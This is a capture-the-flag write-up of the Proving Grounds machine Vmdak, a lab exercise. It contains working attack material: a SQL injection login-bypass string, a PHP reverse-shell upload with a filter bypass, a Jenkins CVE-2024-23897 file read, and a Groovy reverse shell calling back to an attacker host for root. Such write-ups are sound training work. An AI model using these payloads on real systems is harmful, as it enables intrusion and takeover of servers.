Skip to content

Vmdak Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

Vmdak exposes a Prison Management System vulnerable to a SQL injection authentication bypass, chained with a filtered file upload to get a www-data shell. Application data leaks a database password reused for a system account, and an internally-bound Jenkins is tunneled out and exploited with an unauthenticated file read and the Script Console for root.

Reconnaissance

Nmap

Scan the target.

┌──(kali㉿kali)-[~]
└─$ nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE VERSION
21/tcp   open  ftp      vsFTPd 3.0.5 (anonymous login allowed)
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu
80/tcp   open  http     Apache 2.4.58 (Ubuntu default page)
9443/tcp open  ssl/http Apache 2.4.58 (Prison Management System, cert CN: vmdak.local)
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Anonymous FTP is allowed. Check it before touching the web apps.

Anonymous FTP

Log in and grab anything available.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ get config.xml
Name: anonymous
230 Login successful.

config.xml is a Jenkins configuration file. It reveals the Jenkins version (2.401.2), the path to the initial admin password, and that the security realm has signup disabled, confirming an internal Jenkins instance exists on the host.

Exploitation

SQL injection authentication bypass (CVE-2024-33288)

Port 9443 runs a Prison Management System with a login at /Admin/, vulnerable to CVE-2024-33288, an unsanitized login query.

Username: admin' or '1'='1
Password: 123456

This bypasses authentication and lands on the admin dashboard. Browsing Leave Management surfaces a note left in a leave request.

Leave ID 2023399 - Reason: Dont forget the password: $MALCOM_PASSWORD - Staff: Malcom

The credential Malcom:$MALCOM_PASSWORD doesn’t work over SSH, suggesting it belongs to the application or its database instead. Move on to User Management → Add Admin, which has an image upload field.

Upload filter bypass to RCE

The upload field filters by extension client-side. Prepare a PHP reverse shell under an alternate extension.

┌──(kali㉿kali)-[~]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php
┌──(kali㉿kali)-[~]
└─$ sed -i 's/127.0.0.1/$ATTACKER_IP/' shell.php
┌──(kali㉿kali)-[~]
└─$ sed -i 's/1234/$ATTACKER_PORT/' shell.php
┌──(kali㉿kali)-[~]
└─$ cp shell.php shell.phtml

Submit the add-admin form with shell.phtml as the image, intercept the request in Burp Suite, and force the Content-Type header to image/jpeg before forwarding. .phtml is not blocked by the server-side filter and Apache still executes it as PHP.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl -k "https://$TARGET_IP:9443/Admin/uploads/shell.phtml"
www-data@vmdak:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data. Pull database credentials out of the application config.

Lateral movement via database credential reuse

Search for credentials in the web root.

┌──(kali㉿kali)-[~]
└─$ cat /var/www/html/Admin/config.php
$DB_USER = 'root';
$DB_PASS = '$VMDAK_PASSWORD';

Connect to MySQL and pull the application’s user table, which holds the password for the vmdak system account.

┌──(kali㉿kali)-[~]
└─$ mysql -u root -p'$VMDAK_PASSWORD' -e "SELECT * FROM tblleave;"
<snip>
┌──(kali㉿kali)-[~]
└─$ ssh vmdak@$TARGET_IP
vmdak@vmdak:~$ id
uid=1000(vmdak) gid=1000(vmdak) groups=1000(vmdak)

The database password is reused for the vmdak system account, giving SSH access and local.txt.

Privilege Escalation

Jenkins via port forwarding and CVE-2024-23897

Check for internally bound services.

┌──(kali㉿kali)-[~]
└─$ ss -tlnp
127.0.0.1:8080  LISTEN  (jenkins)

Jenkins is only reachable from localhost. Tunnel it out with Chisel.

┌──(kali㉿kali)-[~]
└─$ chisel server --reverse --port 9001
Explain command
--reverse Allow the client to request remote port forwards back to the server.
┌──(kali㉿kali)-[~]
└─$ ./chisel client $ATTACKER_IP:9001 R:8080:127.0.0.1:8080

Jenkins is now reachable at http://127.0.0.1:8080 locally. The version from config.xml (2.401.2) is vulnerable to CVE-2024-23897, an unauthenticated arbitrary file read through the Jenkins CLI argument parser’s @ file-inclusion syntax.

┌──(kali㉿kali)-[~]
└─$ wget http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar
┌──(kali㉿kali)-[~]
└─$ java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ help "@/root/.jenkins/secrets/initialAdminPassword"
ERROR: <contents of initialAdminPassword leaked in the error output>

The error output leaks the Jenkins admin password. Log in and open Manage Jenkins → Script Console to run Groovy.

String host="$ATTACKER_IP";
int port=$ATTACKER_PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};p.destroy();s.close();
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
id
uid=0(root) gid=0(root) groups=0(root)

The Script Console runs as root, giving a root shell.

References